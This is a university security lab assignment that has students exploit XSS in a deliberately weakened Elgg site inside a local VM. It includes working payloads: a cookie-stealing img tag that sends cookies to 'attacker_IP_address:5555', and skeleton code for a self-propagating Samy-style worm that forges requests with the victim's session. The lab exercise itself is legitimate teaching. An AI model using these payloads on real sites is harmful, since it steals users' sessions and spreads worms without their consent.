Computer Science

Cross-site scripting (XSS) Attacks

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim’s web browser.

Using this malicious code, the attackers can steal the victim’s credentials, such as cookies. The access control policies (i.e., the same origin policy) employed by the browser to protect those credentials can be bypassed by exploiting the XSS vulnerability. Vulnerabilities of this kind can potentially lead to large-scale attacks.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web application named Elgg in our pre-built Ubuntu VM image. Elgg is an open-source web application for social networking, and it has implemented a number of countermeasures to remedy the XSS threat. To demonstrate how XSS attacks work, we have commented out these countermeasures in Elgg in our installation, intentionally making Elgg vulnerable to XSS attacks. Without the countermeasures, users can post any arbitrary message, including JavaScript programs, to the user profiles. In this lab, students need to exploit this vulnerability to launch an XSS attack on the modified Elgg, in a way that is similar to what Samy Kamkar did to MySpace in 2005 through the notorious Samy worm. The ultimate goal of this attack is to spread an XSS worm among the users, such that whoever views an infected user profile will be infected, and whoever is infected will add you (i.e., the attacker) to his/her friend list.

Environment setup for the problem:

For this problem, we will assume that you have set up the Ubuntu virtual machine environment based on the instructions in the Syllabus under “Special Software Installation Requirements”.

We will need the following:

· Firefox web browser

· Apache web server

· Elgg web application

For the Firefox browser, we need to use the LiveHTTPHeaders extension for Firefox to inspect the HTTP requests and responses (available under the “Tools” menu in Firefox). The pre-built Ubuntu VM image provided to you has already installed the Firefox web browser with the required extension.

The Apache web server is also included in the pre-built Ubuntu image. However, the web server is not started by default. You have to first start the web server using one of the following two commands:

% sudo apache2ctl start

or

% sudo service apache2 start

The Elgg web application is already set up in the pre-built Ubuntu VM image. We have also created several user accounts on the Elgg server and the credentials are given below (username, password):

admin, seedelgg

alice, seedalice

boby, seedboby

charlie, seedcharlie

samy, seedsamy

You can access the Elgg server using the following URL (the Apache server needs to be started first):

http://www.xsslabelgg.com

(this URL is only accessible from inside of the virtual machine, because we have modified the /etc/hosts file to map the domain name (www.xsslabelgg.com) to the virtual machine’s local IP address 127.0.0.1).

Once you log in as a user in Elgg, you can access your Profile and list of Friends by clicking on icons in the upper left part of the browser window.

Note: Some of the project tasks require some basic familiarity with JavaScript. Wherever necessary, we provide a sample JavaScript program to help you get started.

i. Posting a Malicious Message to Display an Alert Window

The objective of this task is to embed a JavaScript program in your Elgg profile, such that when another user views your profile, the JavaScript program will be executed and an alert window will be displayed. The following JavaScript program will display an alert window:

<script>alert(‘XSS’);</script>

If you embed the above JavaScript code in your Profile (e.g. in the brief description field), then any user

who views your profile will see the alert window.

What you need to do:

1. Login as user Alice and change the “Brief description” field in your Profile such that an alert window which has the following text will open:

XSS attack by <insert your real name/s here>

2. Logout and login as user Boby, and then select user Alice from “More => Members” in the Elgg menu.

3. Include in your project document a screen printout with this alert window.

ii. Posting a Malicious Message to Display Cookies

The objective of this task is to embed a JavaScript program in your Elgg profile, such that when another

user views your profile, the user’s cookies will be displayed in the alert window. This can be done by adding

some additional code to the JavaScript program in the previous task:

<script>alert(document.cookie);</script>

Hello Everybody,

Welcome to this message board.

When a user views this message post, he/she will see a pop-up message box that displays the cookies of the user.

What you need to do:

1. Login as user Alice and change the “Brief description” field in your Profile such that an alert window which contains the user’s cookies will open.

2. Logout and login as user Charlie, and then select user Alice from “More => Members” in the Elgg menu.

3. Include in your project document a screen printout with this alert window.

iii. Stealing Cookies from the Victim’s Machine

In the previous task, the malicious JavaScript code can print out the user’s cookies; in this task, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request.

We can do this by having the malicious JavaScript code insert an <img> tag with its src attribute set to a

URL on the attacker’s website. When the JavaScript inserts the <img> tag, the browser tries to load the image from the mentioned URL and in the process ends up sending a HTTP GET request to the attacker’s website. The JavaScript given below sends the cookies to port 5555 of the attacker’s machine, where the attacker has a TCP server listening to the same port. The server can print out whatever it receives. The TCP server program is available on the course website.

Hello Folks,

<script>document.write(‘<img src=http://attacker_IP_address:5555?c=’ + escape(document.cookie) + ‘ >’); </script>

This script tests an XSS attack.

What you need to do:

1. Download, un-compress (it’s a TAR archive, use ‘tar xvf’ to un-compress) and compile the TCP server program (compile using the command make). The server can be found as file echoserv.tar under the Moodle forums post for Project 2. Run this server on port 5555.

2. Login as user Samy and change the “About me” field in your Profile such that the cookies of whoever is viewing Samy’s profile will be sent to the attacker’s TCP server (you need to replace ‘attacker_IP_address’ in the script above with the appropriate value). When editing the “About me” field, select the “Remove editor” option to avoid automatic re-formatting of your text.

3. Logout and login as user Alice, and then view Samy’s profile by selecting user Samy from “More => Members” in the Elgg menu.

4. Include in your project document:

a. a screen printout with the text printed by the TCP server.

b. the JavaScript script you used in step 2 above.

vi. Writing an XSS Worm

In this and next task, we will perform an attack similar to what Samy did to MySpace in 2005 (i.e., the Samy

Worm). First, we will write an XSS worm that does not self-propagate; in the next task, we will make it

self-propagating. From the previous task, we have learned how to steal the cookies from the victim.

In this task, we need to write a malicious JavaScript to forge a HTTP request directly from the victim’s browser. This attack does not require the intervention from the attacker. The JavaScript that can achieve this is called a cross-site scripting worm.

This task consists of two independent sub-tasks.

Subtask: XSS Worm that adds a friend

The objective of the attack in this subtask is to modify the victim’s profile and add Samy as a friend of the victim. To add a friend for the victim, we should first find out how a legitimate user adds a friend in Elgg.

More specifically, we need to figure out what is sent to the server when a user adds a friend. Firefox’s

LiveHTTPHeaders extension can help us (available under the “Tools” menu in Firefox); it can display the header and contents of any HTTP request message sent from the browser. From this, we can identify all the parameters in the request.

There are two common types of HTTP requests, one is HTTP GET request, and the other is HTTP POST request. These two types of HTTP requests differ in how they send the contents of the request to the server. We can use the JavaScript XMLHttpRequest object to send HTTP GET and POST requests to web applications. XMLHttpRequest can only send HTTP requests back to the server, instead of other computers, because the same-origin policy is strongly enforced for XMLHttpRequest. This is not an issue for us, because we do want to use XMLHttpRequest to send a forged HTTP request back to the Elgg server.

To learn how to use XMLHttpRequest, you can study these documents:

https://www.w3schools.com/xml/ajax_xmlhttprequest_create.asp

https://www.w3schools.com/xml/xml_http.asp

https://developer.mozilla.org/en-US/docs/AJAX/Getting_Started

https://www.tutorialspoint.com/ajax/what_is_xmlhttprequest.htm

If you are not familiar with JavaScript programming, we suggest that you study the following documents to learn some basic JavaScript functions. You will have to use some of these functions.

Essential Javascript – A Javascript Tutorial:

https://www.evl.uic.edu/luc/bvis546/Essential_Javascript_–_A_Javascript_Tutorial.pdf

You may also need to debug your JavaScript code. Firebug is a Firefox extension that helps you debug JavaScript code. It can point you to the precise places that contain errors. FireBug is already installed in Firefox in our pre-built Ubuntu VM image (available under the “Tools” menu in Firefox).

For this subtask, the worm program should do the following:

1. Create the correct request to add Samy to the friends list of the user who is executing the malicious code

2. Forge a HTTP GET request to add Samy as a friend.

Code Skeleton. We provide a skeleton of the JavaScript code that you need to write. This JavaScript code is inserted into user Samy’s profile, and any user that views Samy’s profile will then automatically add Samy as their friend. You need to fill in all the necessary details. When you include the final JavaScript code in the message posted to Samy’s profile, you need to remove all the comments, extra space, and new-line characters.

<script id=”worm” type=”text/javascript”>

var Ajax=null;

//Construct the HTTP request to add Samy as a friend.

var sendurl=”…”;

//Create and send Ajax request to add friend.

// The format of the request can be learned from LiveHttpHeaders.

Ajax=new XMLHttpRequest();

Ajax.open(“GET”,sendurl,true);

Ajax.setRequestHeader(“Host”,”www.xsslabelgg.com”);

Ajax.setRequestHeader(“Keep-Alive”,”300″);

Ajax.setRequestHeader(“Connection”,”keep-alive”);

// (JavaScript code to access session cookie)

Ajax.setRequestHeader(“Cookie”,document.cookie);

Ajax.setRequestHeader(“Content-Type”,”application/x-www-form-urlencoded”);

Ajax.send();

</script>

Note that in this case the GET method is used to send the HTTP request.

To modify the victim’s profile, the HTTP request sent by the worm should contain the victim’s __elgg_ts and __elgg_token values in the sendurl variable. These details are present in the web page (right-click and “View Page Source”) and the worm needs to find out and use this information using JavaScript code. The sendurl variable should also contain Samy’s id.

What you need to do:

1. Based on the format of the GET request to add a friend, write a JavaScript script that adds Samy to the friends list of any user who views Samy’s profile. Save your JavaScript script in a file task4-1.txt.

2. Login as user Samy and inject in the “About me” field of Samy’s profile the script from file task4-1.txt. (Make sure to select “Remove editor” before editing this field, in order to disable any automatic formatting)

3. Logout and login as user Alice, and then view Samy’s profile by selecting user Samy from “More => Members” in the Elgg menu. At this point, the malicious Javascript script will be executed and Samy will be added to Alice’s friend list.

4. Include in your project document:

a. a screen printout with Alice’s friends list after viewing Samy’s profile.

b. a printout of your JavaScript file task4-1.txt.

5. Include the file task4-1.txt in a ZIP archive and upload this ZIP archive onto the Moodle website for the course.

Subtask XSS Worm that changes the victim’s profile

The objective of the attack in this subtask is to modify the victim’s profile “About me” field to show the text “Samy is my HERO”. To do this, we should first find out how a legitimate profile change looks like in Elgg. More specifically, we need to figure out what is sent to the server when a user changes the “About me” field and saves her profile. Firefox’s LiveHTTPHeaders extension can help us (available under the “Tools” menu in Firefox); it can display the header and contents of any HTTP request message sent from the browser. From this, we can identify all the needed data in the request.

For this subtask, the worm program should do the following:

1. Create the correct request to add a certain piece of text into the profile of a user (the victim) who is viewing Samy’s profile

2. Forge a HTTP POST request to change the profile of the victim user.

Code Skeleton. We provide a skeleton of the JavaScript code that you need to write. This JavaScript code is inserted into user Samy’s profile, and any user that views Samy’s profile will then automatically have their “About me” profile field changed to a certain piece of text. You need to fill in all the necessary details. When you include the final JavaScript code in the message posted to Samy’s profile, you need to remove all the comments, extra space, and new-line characters.

<script id=”worm” type=”text/javascript”>

var Ajax=null;

//Construct the HTTP POST request to modify profile.

var sendurl=”… “;

var content= “…”;

//Modify Victim’s profile except for SAMY

if(…)

{

//Create and send Ajax request to modify profile

Ajax=null;

Ajax=new XMLHttpRequest();

Ajax.open(“POST”,sendurl,true);

Ajax.setRequestHeader(“Host”,”www.xsslabelgg.com”);

Ajax.setRequestHeader(“Keep-Alive”,”300″);

Ajax.setRequestHeader(“Connection”,”keep-alive”);

// JavaScript code to access session cookie

Ajax.setRequestHeader(“Cookie”,document.cookie);

Ajax.setRequestHeader(“Content-Type”,”application/x-www-form-urlencoded”);

Ajax.send(content);

}

</script>

Note that in this case the POST method is used to send the HTTP request.

To modify the victim’s profile, the HTTP request sent by the worm should contain certain information about the victim in the HTML body of the request (which is sent via the content variable):

· The __elgg_ts and __elgg_token values are present in the web page (right-click and “View Page Source”) and the worm needs to find out and use this information using JavaScript code.

· The victim’s user name can be obtained using elgg.session.user.name

· The victim’s id (guid) can be obtained using elgg.session.user.guid

Important note: Be careful when dealing with an infected profile. If a profile is already infected by the XSS worm, you may want to leave them alone, instead of modifying them again. If you are not careful, you may end up removing the XSS worm from the profile.

What you need to do:

1. Based on the format of the POST request to change a user’s profile, write a JavaScript script that changes the “About me” field in the profile of any user (the victim) who views Samy’s profile. The “About me” field should contain the following text:

Samy is my HERO (added by <insert your team member name/s here>

Save your JavaScript script in a file task4-2.txt.

2. Login as user Samy and inject in the “About me” field of Samy’s profile the script from file task4-2.txt. (Make sure to select “Remove editor” before editing this field, in order to disable any automatic formatting)

3. Logout and login as user Alice, and then view Samy’s profile by selecting user Samy from “More => Members” in the Elgg menu. At this point, the malicious Javascript script will be executed and Alice’s profile will be changed.

4. Include in your project document:

a. a screen printout with Alice’s profile after viewing Samy’s profile.

b. a printout of your JavaScript file task4-2.txt.

5. Include the file task4-2.txt in a ZIP archive and upload this ZIP archive onto the Moodle website for the course.

v. Writing a Self-Propagating XSS Worm

To become a real worm, the malicious JavaScript program should be able to propagate itself. Namely, whenever some people view an infected profile, not only will their profiles be modified, the worm will also be propagated to their profiles, further affecting others who view these newly infected profiles. This way, the more people view the infected profiles, the faster the worm can propagate. This is exactly the same mechanism used by the Samy Worm: within just 20 hours of its October 4, 2005 release, over one million users were affected, making Samy one of the fastest spreading viruses of all time. The JavaScript code that can achieve this is called a self-propagating cross-site scripting worm. In this task, you need to implement such a worm, which infects the victim’s profile.

To achieve self-propagation, when the malicious JavaScript modifies the victim’s profile, it should copy itself to the victim’s profile. If the entire JavaScript program (i.e., the worm) is embedded in the infected profile, to propagate the worm to another profile, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and display it in an alert window:

<script id=worm>

var strCode = document.getElementById(“worm”);

alert(strCode.innerHTML);

</script>

URL Encoding: All messages transmitted using HTTP over the Internet use URL Encoding, which converts all non-ASCII characters such as space to special code under the URL encoding scheme. In the worm code, messages sent to Elgg should be encoded using URL encoding. The escape function can be used to URL encode a string. An example of using the encode function is given below.

<script>

var strSample = “Hello World”;

var urlEncSample = escape(strSample);

alert(urlEncSample);

</script>

Under the URL encoding scheme, the “+” symbol is used to denote space. In JavaScript programs, “+” is used for both arithmetic operations and string concatenation operations. To avoid this ambiguity, you may use the concat function for string concatenation, and avoid using addition. For the worm code in the exercise, you don’t have to use additions. If you do have to add a number (e.g a+5), you can use subtraction (e.g a-(-5)).

Other notes:

· To modify the victim’s profile, the HTTP request sent by the worm should contain the following information in the HTML body of the request (which is sent via the content variable):

&accesslevel%5Bdescription%5D=2

(in fact, using the LiveHTTPHeaders extension, you can see this is included in a regular edit profile request)

· Be careful when dealing with an infected profile. If a profile is already infected by the XSS worm, you may want to leave them alone, instead of modifying them again. If you are not careful, you may end up removing the XSS worm from the profile.

What you need to do:

1. Based on the format of the POST request to change a user’s profile, write a JavaScript script that changes the “About me” field in the profile of any user (the victim) who views an infected profile. The “About me” field should contain the following text:

Samy is my HERO (added by <insert your team member name/s here>)

Save your JavaScript script in a file task5.txt.

2. Login as user Samy and inject in the “About me” field of Samy’s profile the script from file task5.txt. (Make sure to select “Remove editor” before editing this field, in order to disable any automatic formatting)

3. Logout and login as user Alice, and then view Samy’s profile by selecting user Samy from “More => Members” in the Elgg menu. At this point, the malicious Javascript script will be executed and Alice’s profile will be infected as well.

4. Logout and login as user Boby, and then view Alice’s profile by selecting user Alice from “More => Members” in the Elgg menu. At this point, the malicious Javascript script will be executed and Boby’s profile will be infected as well.

5. Include in your project document:

a. a screen printout with Alice’s profile after viewing Samy’s profile.

b. a screen printout with Boby’s profile after viewing Alice’s profile.

c. A printout of your JavaScript file task5.txt.

6. Include the file task5.txt in a ZIP archive and upload this ZIP archive onto the Moodle website for the course.

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